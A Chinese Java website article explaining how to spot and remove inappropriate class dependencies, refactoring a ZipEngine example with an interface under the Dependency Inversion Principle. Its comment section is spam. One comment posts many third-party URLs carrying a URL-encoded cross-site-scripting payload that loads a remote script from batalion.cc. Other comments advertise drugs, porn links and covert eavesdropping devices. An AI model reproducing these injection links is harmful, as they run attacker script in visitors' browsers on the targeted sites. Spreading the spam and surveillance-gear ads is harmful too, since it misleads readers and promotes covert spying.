<%@ page contentType="text/html; charset=gb2312"%> 敏捷开发的必要技巧:处理不合适的依赖
网站公告:   ◆北天JAVA技术网热情为java爱好者服务,本网内容包括JAVA(JSP、servlet、EJB、webservice、j2ee、javabean、应用服务器、JavaScript),数据库(MYSQL、SQL Server、Sybase、Oracle、DB2、数据库综合知识),设计研究(设计模式、Struts、Spring、Hibernate、设计框架、设计综合知识),WEB2.0新技术(主要介绍AJAX),以及各种技术的入门、实例、例子等等,欢迎各位多来坐坐!◆  诚邀各位JAVA爱好者加盟!◆  本网站内容丰富,更新快,保证每周20篇以上!  
加入收藏
设为首页
联系站长
承接项目
  相关资源:网站首页 | 免费培训学院 | 技术论坛 | JAVA聊天室 | 作家专栏 | 开发工具 | 认证考试 | 会员俱乐部
  JAVA技术初学者园地 | jsp与servlet | javascript | Java源代码 | EJB | web service | 应用服务器 | JAVA综合知识
  设计研究设计模式 | 设计框架 | Struts | Spring | Hibernate | 开源项目 | 面向对象设计 | 设计综合知识
  数 据 库MYSQL | SQL Server | Sybase | Oracle | DB2 | Informix | Access | 数据库综合知识
  其他资源:AJAX新技术 | 网站开发 | ERP软件 | OA办公软件 | 商业智能BI | 开发综合知识 | 承接项目 | 项目试用

 
 
敏捷开发的必要技巧:处理不合适的依赖
     发布者: 发布时间:2008-05-17

摘要:

要判断一个代码是不是包含了“不合适的依赖”,共有四个方法:1.看代码:有没有互相依赖?2.认真想想:它真正需要的是什么?3.推测一下:它在以后的系统中可以重用吗?4.到要重用的时候就知道了:现在我要重用这个类,能不能重用?
     如果现在有一个类Parent,里面有个属性的类型是Child,add的方法里面还有个参数的类型是Girl:
  class Parent{
        Child child;
        void add(Girl girl){
           ...
        }
     }



     因为上面Parent里面用到了Child跟Girl这两个类,我们就说,Parent引用了类Child跟类Girl。现在的问题是,如果Child这个类或者Girl这个类编译不过的话,那么Parent这个类也编译不了了。也就是说,Parent依赖于Child跟Girl。这章讲述的,就是因为一些类的依赖造成的无法重用的问题。

示例

  这是一个处理ZIP的程序。用户可以在主窗口中先输入要生成的目标zip的路径,比如c:\f.zip ,然后输入他想压缩到这个zip的源文件的路径,比如
c:\f2.doc和c:\f2.doc 。然后这个程序就会开始压缩f1.doc和f2.doc,生成f.zip文件。在压缩各个源文件的时候,主窗口下的状态栏都要显示相关的信息。比如,在压缩c:\f2.doc的时候,状态栏就显示"正在压缩 c:\f2.zip"。                                                                              

目前的代码就是                                                                            

    class ZipMainFrame extends Frame {                                                             
       StatusBar sb;                                                                              
       void makeZip() {                                                                            
           String zipFilePath;                                                                    
           String srcFilePaths[];                                                                  
           //根据UI上给zipFilePath和srcFilePaths赋值                              
           ...                                                                                    
           ZipEngine ze = new ZipEngine();                                                        
           ze.makeZip(zipFilePath, srcFilePaths, this);                                            
       }                                                                                          
       void setStatusBarText(String statusText) {                                                  
           sb.setText(statusText);                                                                
       }                                                                                          
    }  
    
    class ZipEngine {                                                                              
       void makeZip(String zipFilePath, String srcFilePaths[], ZipMainFrame f) {                  
           //在该路径上创建zip文件                                                        
           ...                                                                                    
           for (int i = 0; i < srcFilePaths.length; i++) {                                        
               //将srcFilePaths[i]的文件加到压缩包中                                  
               ...                                                                                
               f.setStatusBarText("Zipping "+srcFilePaths[i]);                                    
           }                                                                                      
       }                                                                                          
    }
                                                                                              

  我们还有一个存货管理系统,里面有一些程序的数据文件,经常需要压缩起来备份。这些源数据文件都有固定的路径,所以就不需要用户特地去输入路径了。现在我们想直接把上面的这个ZipEngine类拿过来重用。这个存货管理系统也有一个主窗口,同样在压缩待备份文件时,状态栏上面也要显示目前正在压缩的文件名称。

  现在,问题来了。我们希望可以在不用修改代码的情况下直接重用ZipEngine这个类。但看了上面的代码以后我们发现:在调用makeZip这个方法时,还需要一个传递一个ZipMainFrame类型的参数进来。可是很明显我们现在的这个存货管理系统里面并没有ZipMainFrame这样的类。也就是说,现在ZipEngine这个类,在我们的这个存货管理系统中用不了了。

  再往远一点想,好像其他的系统,一般也不会有ZipMainFrame这个类。即使类名一样的,里面所做的功能也不一样。那其他的系统也重用不了这个ZipEngine类了。

“不合适的依赖”,让代码很难被重用

  因为ZipEngine引用了ZipMainFrame这个类,当我们想重用ZipEngine的时候,我们就需要将ZipMainFrame也加进来,调用ZipEngine的makeZip方法时,还要构造一个ZipMainFrame对象传给它。而在新的环境中,我们不可能有一个同样的ZipMainFrame,也不可能特地为了调用这个方法,随便创建一个ZipMainFrame对象给它。

  一般来说,如果一个类A引用了一个类B,当我们想要重用A这个类时,我们就还得将B这个类也加进我们的系统。如果B引用了C,那么B又将C也一起拉了进来。而如果B或者C在一个新的系统中没有意义,或者压根儿不应该存在的情况下,真正我们想要用的A这个类也用不了了。

  因此,“不合适的依赖”让代码很难被重用。

  为了可以重用ZipEngine,首先,我们得让ZipEngine不再引用ZipMainFrame。或者说,让ZipEngine不用依赖于ZipMainFrame。
  那怎么做呢?回答这个问题之前,我们先回答另一个问题:给你一段代码,你怎么判断这段代码是不是包含了“不合适的依赖”?“不合适”这个词定义的标准又是什么?


怎么判断是“不合适的依赖”

  方法1:
  一个简单的方法就是:我们先看一下这段代码里面有没有一些互相循环的引用。比如,ZipMainFrame引用了ZipEngine这个类,而ZipEngine又引用了ZipMainFrame。我们管这样的类叫“互相依赖”。互相依赖也是一种代码异味,我们就认定这样的代码,是“不合适的依赖”。
  这个方法很简单。不过,这种方法并不能包含全部情况,并不是所有有“不合适的依赖”的代码,都是这种互相依赖。

  方法2:
  另一个方法比较主观:在检查代码的时候,我们问自己:对于它已经引用的这些类,是它真正需要引用的吗?对于ZipEngine,它真的需要ZipMainFrame这个类吗?ZipEngine只是改变ZipMainFrame的状态栏上的信息。是不是只有引用了ZipMainFrame才能满足这样的需求,其他类行不行?有没有一个类可以取代ZipMainFrame呢?而实际上,ZipEngine并不是一定要引用ZipMainFrame的。它想引用的,其实只是一个可以显示信息的状态栏而已。
因此,我们就将代码改为:

    class ZipEngine {                                                                              
       void makeZip(String zipFilePath, String srcFilePaths[], StatusBar statusBar) {              
           //在该路径上创建zip文件                                                        
           ...                                                                                    
           for (int i = 0; i < srcFilePaths.length; i++) {                                        
               //将srcFilePaths[i]的文件加到压缩包中                                  
               ...                                                                                
               statusbar.setText("Zipping "+srcFilePaths[i]);                                      
           }                                                                                      
       }                                                                                          
    }        
                                                                                      

  现在,ZipEngine只是引用了StatusBar,而不再是ZipMainFrame了。可是这样好吗?相对好一些!因为StatusBar比较通用(至少有StatusBar这个类的系统比ZipMainFrame多多了),这样的话,ZipEngine这个类的可重用性就大幅改观了。
  不过,这样的方法还是太主观了。没有一个既定的标准,可以判断ZipEngine到底需要的是什么样的东西。比如,我们就说,ZipEngine其实想要的也不是一个状态栏,它只是想调用一个可以显示一些信息的接口而已(而不是一个状态栏这么大的一个对象)。                                                                    

  方法3:

  第3种方法也很主观:在设计类的时候,我们先预测一个以后可能会重用这个类的系统。然后再判断,在那样的系统中,这个类能不能被重用?如果你自己都觉得以后的系统不能重用这个类的话,你就断定,这个类包含“不合适的依赖”了。
  比如,我们在设计完ZipEngine这个类时,我们就想一下,这个类能在别的系统重用吗?可是好像别的系统,不会有ZipMainFrame这个类,至少一个没有GUI的系统会有这样的类!这样的话,那它就不应该引用ZipMainFrame这个类了。这个方法其实也很主观,不怎么实用。每个人预测的可能性都不一样。

  方法4

  第4个方法比较简单而且客观了。当我们想在一个新系统中重用这个类,却发现重用不了时,我们就判断,这个类包含了“不合适的依赖”。比如,我们在存货管理系统中,要重用ZipEngine的时候,我们才发现,这个类重用不了。这时我们就认定,这个类有“不合适的依赖”。

  后一种方法是个“懒惰而被动的”方法,因为我们真正想在具体的项目中重用的时候,才能判断出来。不过这也是个很有效的方法。


总结

  要判断一个代码是不是包含了“不合适的依赖”,共有四个方法:
   1.看代码:有没有互相依赖?

   2.认真想想:它真正需要的是什么?

   3.推测一下:它在以后的系统中可以重用吗?

   4.到要重用的时候就知道了:现在我要重用这个类,能不能重用?


  方法1跟4是最简单的方法,推荐初学者可以这样来判断。有更多的设计经验了,再用方法2跟3会好一些。

怎么让ZipEngine不再引用(依赖于)ZipMainFrame

  现在我们来看看,怎么让ZipEngine不再引用ZipMainFrame。其实,在介绍方法2的时候,我们就已经通过思考发现,ZipEngine这个类真正需要的是什么,也找出了解决办法。不过因为方法2相对来讲并不是那么简单就可以用好的,所以我们先假装不知道方法2的结果。

  我们用方法4。现在我们是在做一个文字模式的系统(没有状态栏了,我们只能直接在没有图形的屏幕上显示这些信息),发现ZipEngine不能重用了。怎么办?

  因为我们不能重用ZipEngine,我们只好先将它的代码复制粘贴出来,然后再修改成下面的代码:

    class TextModeApp {
       void makeZip() {
           String zipFilePath;
           String srcFilePaths[];
           ...  
           ZipEngine ze = new ZipEngine();
           ze.makeZip(zipFilePath, srcFilePaths);
       }        
    }          
    class ZipEngine {
       void makeZip(String zipFilePath, String srcFilePaths[]) {
           //在该路径上创建zip文件
           ...  
           for (int i = 0; i < srcFilePaths.length; i++) {
               //将srcFilePaths[i]的文件加到压缩包中
               ...
               System.out.println("Zipping "+srcFilePaths[i]);                                    
           }                                                                                      
       }                                                                                          
    }  
                                                                                          

  再看一下原来的代码是:
    class ZipEngine {                                                                              
       void makeZip(String zipFilePath, String srcFilePaths[], ZipMainFrame f) {                  
           //在该路径上创建zip文件                                                        
           ...                                                                                    
           for (int i = 0; i < srcFilePaths.length; i++) {                                        
               //将srcFilePaths[i]的文件加到压缩包中                                  
               ...                                                                                
               f.setStatusBarText("Zipping "+srcFilePaths[i]);                                    
           }                                                                                      
       }                                                                                          
    }                                                                                              


  很明显,这里面有很多的重复代码(代码异味)。要消除这样的代码异味,我们就先用伪码让这两段代码看起来一样。比如,改成:

    class ZipEngine {                                                                              
       void makeZip(String zipFilePath, String srcFilePaths[]) {                                  
           //在该路径上创建zip文件                                                        
           ...                                                                                    
           for (int i = 0; i < srcFilePaths.length; i++) {                                        
               //将srcFilePaths[i]的文件加到压缩包中                                  
               ...                                                                                
               显示信息。。。                                                                  
           }                                                                                      
       }                                                                                          
    }        
                                                                                      

  因为“显示信息”具体出来,有两种实现,所以我们现在创建一个接口,里面有一个方法用来显示信息。这个方法可以直接取名为“showMessage”,而根据这个接口做的事,我们也可以直接将接口名取为“MessageDisplay”或者“MessageSink”之类的:

    interface MessageDisplay {                                                                    
       void showMessage(String msg);                                                              
    }                                                                                              

  将ZipEngine改为:

    class ZipEngine {                                                                              
       void makeZip(String zipFilePath, String srcFilePaths[], MessageDisplay                      
    msgDisplay) {                                                                                  
           //在该路径上创建zip文件                                                        
           ...                                                                                    
           for (int i = 0; i < srcFilePaths.length; i++) {                                        
               //将srcFilePaths[i]的文件加到压缩包中                                  
               ...                                                                                
               msgDisplay.showMessage("Zipping "+srcFilePaths[i]);
           }    
       }        
    }  
        

  而MessageDisplay这个接口的两个实现类就是:

    class ZipMainFrameMessageDisplay implements MessageDisplay {
       ZipMainFrame f;
       ZipMainFrameMessageDisplay(ZipMainFrame f) {
           this.f = f;
       }        
       void showMessage(String msg) {
           f.setStatusBarText(msg);
       }        
    }          

    class SystemOutMessageDisplay implements MessageDisplay {
       void showMessage(String msg) {
           System.out.println(msg);
       }        
    }
          

  现在两个系统也相应的做了修改:
    class ZipMainFrame extends Frame {
       StatusBar sb;
       void makeZip() {
           String zipFilePath;
           String srcFilePaths[];
           //根据UI上给zipFilePath和srcFilePaths赋值
           ...  
           ZipEngine ze = new ZipEngine();
           ze.makeZip(zipFilePath, srcFilePaths, new ZipMainFrameMessageDisplay(this));
       }        
       void setStatusBarText(String statusText) {
           sb.setText(statusText);
       }        
    }        
    
    class TextModeApp {
       void makeZip() {
           String zipFilePath;
           String srcFilePaths[];
           ...  
           ZipEngine ze = new ZipEngine();
           ze.makeZip(zipFilePath, srcFilePaths, new SystemOutMessageDisplay());
       }        
    }
          

改进后的代码

下面就是改进完的代码。为了让代码看起来清楚一些,我们用了Java的内类:
    interface MessageDisplay {
       void showMessage(String msg);                                                              
    }                                                                                              

    class ZipEngine {                                                                              
       void makeZip(String zipFilePath, String srcFilePaths[], MessageDisplay                      
    msgDisplay) {                                                                                  
           //在该路径上创建zip文件                                                        
           ...                                                                                    
           for (int i = 0; i < srcFilePaths.length; i++) {                                        
               //将srcFilePaths[i]的文件加到压缩包中                                  
               ...                                                                                
               msgDisplay.showMessage("Zipping "+srcFilePaths[i]);                                
           }                                                                                      
       }                                                                                          
    }            
    
    class ZipMainFrame extends Frame {                                                            
       StatusBar sb;                                                                              
       void makeZip() {                                                                            
           String zipFilePath;                                                                    
           String srcFilePaths[];                                                                  
           //根据UI上给zipFilePath和srcFilePaths赋值                              
           ...                                                                                    
           ZipEngine ze = new ZipEngine();                                                        
           ze.makeZip(zipFilePath, srcFilePaths, new MessageDisplay() {                            
               void showMessage(String msg) {                                                      
                  setStatusBarText(msg);                                                          
               }                                                                                  
           });                                                                                    
       }                                                                                          
       void setStatusBarText(String statusText) {                                                  
           sb.setText(statusText);                                                                
       }                                                                                          
    }            
    
    class TextModeApp {                                                                            
       void makeZip() {                                                                            
           String zipFilePath;                                                                    
           String srcFilePaths[];                                                                  
           ...                                                                                    
           ZipEngine ze = new ZipEngine();                                                        
           ze.makeZip(zipFilePath, srcFilePaths, new MessageDisplay() {                            
               void showMessage(String msg) {                                                      
                  System.out.println(msg);                                                        
               }                                                                                  
           });                                                                                    
       }                                                                                          
    }
                                                                                              

引述                                                                                        

 依赖反转原则(Dependency Inversion Principle )表述:抽象不应该依赖于具体,高层的比较抽象的类不应该依赖于低层的比较具体的类。当这种问题出现的时候,我们应该抽取出更抽象的一个概念,然后让这两个类依赖于这个抽取出来的概念。更多的信息,可以看:

http://www.objectmentor.com/resources/articles/dip.pdf                                      
http://c2.com/cgi/wiki?DependencyInversionPrinciple          

完整pdf下载地址:

敏捷开发的必要技巧
(转载文章请保留出处:北天JAVA技术网(www.java114.com))
 
更多精彩文章:
Hibernate get()和load() 的区别?
Eclipse下实现软件项目的源码管理
使用JBuilder2007开发Web应用程序
用JBuilder2007开发扩展JSF标签的插件
Jini白皮书
怎样让图形跟随鼠标?
 
最近评论:
        
鍥炲
        
Connor
a7224eb0aedac33c5cee78971647ad72 http://casinogambling.about.com/gi/pages/mmail.htm?gs=1&name=&email=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-sboarding&submit=subscribe http://casinogambling.about.com/gi/pages/mmail.htm?gs=1&name=&email=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-sboarding&submit=subscribe http://www.allbusiness.com/3470945-1.html?query=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-diect-x&x=1&y=1 http://www.allbusiness.com/3470945-1.html?query=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-diect-x&x=1&y=1 http://www.bizrate.com/womenstshirts/products__keyword--american+indian+clothing__sort--%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-sorval__userzip--.html http://www.bizrate.com/womenstshirts/products__keyword--american+indian+clothing__sort--%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-sorval__userzip--.html http://www.handster.com/catalog.php?search=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-ddsoftware&x=1&y=1 http://www.handster.com/catalog.php?search=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-ddsoftware&x=1&y=1 http://web.sa.mapquest.com/arbys/advantage.adp?transaction=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-powerbbs&searchQuantifier=AND&mapStyle=european&proxIconId=400&radius=999&country=&county=&search1=&search2=&search3=&search4=&search5=&search6=&search7=&search8=&search9=&search10=&postalCode=Enter+Zip&x=1&y=1 http://web.sa.mapquest.com/arbys/advantage.adp?transaction=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-powerbbs&searchQuantifier=AND&mapStyle=european&proxIconId=400&radius=999&country=&county=&search1=&search2=&search3=&search4=&search5=&search6=&search7=&search8=&search9=&search10=&postalCode=Enter+Zip&x=1&y=1 http://www.plentyoffish.com/sendmessage.aspx?usersendto=7213248&sendto=balance_equinox&v=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-taye-sachs&submit=Contact+balance_equinox+Now! http://www.plentyoffish.com/sendmessage.aspx?usersendto=7213248&sendto=balance_equinox&v=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-taye-sachs&submit=Contact+balance_equinox+Now! http://www.scout.com/search.aspx?siteSearch=Scout.com&q=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-gforce-2&x=1&y=1&s=143 http://www.scout.com/search.aspx?siteSearch=Scout.com&q=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-gforce-2&x=1&y=1&s=143 http://www.shopzilla.com/10J--MP3_Media_Players_-_cat_id--499__userzip--Enter%20your%20ZIP%20code__zip_go--%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-cold-fusion-hostin http://www.shopzilla.com/10J--MP3_Media_Players_-_cat_id--499__userzip--Enter%20your%20ZIP%20code__zip_go--%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-cold-fusion-hostin http://www.thefreelibrary.com/_/search/Search.aspx?SearchBy=0&Word=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-timberlandshoes&Search=Search&By=0 http://www.thefreelibrary.com/_/search/Search.aspx?SearchBy=0&Word=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-timberlandshoes&Search=Search&By=0 http://www.tv.com/search.php?qs=&type=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-farinheight&stype=search http://www.tv.com/search.php?qs=&type=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-farinheight&stype=search 22be415220557afdcc5515df0e9cc38e
        
hpldaod
NP4gnN avdwtqzrtwkw, [url=http://rgbmtouovckp.com/]rgbmtouovckp[/url], [link=http://ozsfzvmkneuv.com/]ozsfzvmkneuv[/link], http://mqpfguripkzr.com/
        
buy cialis
buy cialis
        
cheap viagra
[URL=http://groups.google.com/group/buy-rx-viagra-online]cheap viagra[/URL]
        
generic viagra
[URL=http://groups.google.com/group/buy-rx-viagra-online]generic viagra[/URL]
        
buy viagra
[URL=http://groups.google.com/group/buy-rx-viagra-online]buy viagra[/URL]
        
lesbain videos for psp
l17d4212 lesbain videos for psp lesbain videos for psp http://mindy-c624.blogspot.com lesbain videos for psp [url=http://mindy-c624.blogspot.com ]lesbain videos for psp [/url] free adult trailers galery free adult trailers galery http://milf-7284.blogspot.com free adult trailers galery [url=http://milf-7284.blogspot.com ]free adult trailers galery [/url] free video french girl nude free video french girl nude http://anal-ve0h.blogspot.com free video french girl nude [url=http://anal-ve0h.blogspot.com ]free video french girl nude [/url]
        
回复:敏捷开发的必要技巧:处理不合适的依赖
08.2.14只有努力寻找的人才能找到,大门只会对扣门的人敞开。Google优化排名窃听器手机窃听器留学留学中介荷兰留学留学荷兰英国留学留学英国英国高中英国硕士加拿大留学留学加拿大澳大利亚留学留学澳大利亚美国留学留学美国法国留学留学法国新加坡留学留学新加坡瑞典留学留学瑞典澳洲留学留学澳洲英国大学排名美国大学排名加拿大签证英国签证美国签证雅思考试托福考试专升本阿姆斯特丹商学院鹿特丹商学院莫那什大学出国出国留学印刷印刷厂北京印刷北京印刷厂窃听器手机窃听器监听器手机监听器监听器手机监听器电话窃听器电话监听器无线窃听器无线监听器小灵通窃听器微型窃听器窃听器手机窃听器监听器手机监听器塑胶跑道聚脲防水聚脲防腐门禁系统保洁婚庆公司保洁公司
        
回复:敏捷开发的必要技巧:处理不合适的依赖
08.2.14只有努力寻找的人才能找到,大门只会对扣门的人敞开。Google优化排名窃听器手机窃听器留学留学中介荷兰留学留学荷兰英国留学留学英国英国高中英国硕士加拿大留学留学加拿大澳大利亚留学留学澳大利亚美国留学留学美国法国留学留学法国新加坡留学留学新加坡瑞典留学留学瑞典澳洲留学留学澳洲英国大学排名美国大学排名加拿大签证英国签证美国签证雅思考试托福考试专升本阿姆斯特丹商学院鹿特丹商学院莫那什大学出国出国留学印刷印刷厂北京印刷北京印刷厂窃听器手机窃听器监听器手机监听器监听器手机监听器电话窃听器电话监听器无线窃听器无线监听器小灵通窃听器微型窃听器窃听器手机窃听器监听器手机监听器塑胶跑道聚脲防水聚脲防腐门禁系统保洁婚庆公司保洁公司
        
标 题:   
内 容:   
 
                                  
 
免责声明:该文章由网友发表,如果对您造成侵权,请联系站长

首页 - 承接项目 - 网站地图 - 联系我们 -
版权所有北天JAVA技术工作室 ICP证号:粤ICP备06079815号